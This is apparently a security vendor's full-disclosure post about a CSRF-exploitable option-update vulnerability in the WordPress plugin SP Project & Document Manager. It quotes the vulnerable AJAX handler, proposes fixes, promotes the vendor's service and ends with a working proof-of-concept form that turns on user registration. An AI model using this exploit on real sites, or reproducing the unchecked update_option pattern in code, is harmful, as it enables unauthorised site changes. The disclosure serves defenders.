Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability Being Introduced in to SP Project & Document Manager
One of the ways we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught an authenticated option update vulnerability being introduced in to the plugin SP Project & Document Manager, which can also be exploited through cross-site request forgery (CSRF).
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool. The tool flags other possible security issues in the plugin, so we wouldn’t recommend using the plugin unless the security has more broadly been reviewed and corrected.
In the file /admin/addons.php the function activate() is registered to be accessible through WordPress AJAX functionality for those logged in to WordPress:
16 | add_action( 'wp_ajax_sp_rm_activate_addon',array($this,'activate')); |
In that function the value of arbitrary WordPress options (settings) can be set to arbitrary values:
33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | function activate(){ $message =array(); $message['post'] = $_POST; $license_key = $_POST['license_key']; $product_name = $_POST['name']; $product_slug = $_POST['slug']; // data to send in our API request $edd_action = $_POST['set_action']; $api_params = array( 'edd_action'=> $edd_action, 'license' => trim( $license_key), 'item_name' => urlencode( $product_name ) // the name of our product in EDD ); // Call the custom API. $response = wp_remote_get( add_query_arg( $api_params,EDD_CDM_STORE_URL ), array( 'timeout' => 15, 'body' => $api_params, 'sslverify' => false ) ); // decode the license data $license_data = json_decode( wp_remote_retrieve_body( $response ) ); $message['result'] = $license_data; if($license_data->success == false){ if($license_data->license == 'expired' || $license_data->error == 'expired'){ $message['error'] = 'License expired, <a href="https://smartypantsplugins.com/digital-checkout/?edd_license_key='.$license_key.'" target="_blank" rel="noopener noreferrer">Please renew your license by clicking here</a>.'; }else{ $message['error'] = 'License error, please check your license and try again.'; } }else{ $message['error'] = ''; } set_transient( ''.$product_slug.'-l', $license_data , 6 * HOUR_IN_SECONDS ); update_option($product_slug ,$_POST['license_key'] ); |
The best approach to securing that would probably involve limiting what options can be updated, as well as doing a capabilities check to limit what user can access that functionality, and doing a nonce check to prevent cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will turn on user registration, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=sp_rm_activate_addon" method="POST"> <input type="hidden" name="slug" value="users_can_register" /> <input type="hidden" name="license_key" value="1" /> <input type="submit" value="Submit" /> </form> </body> </html>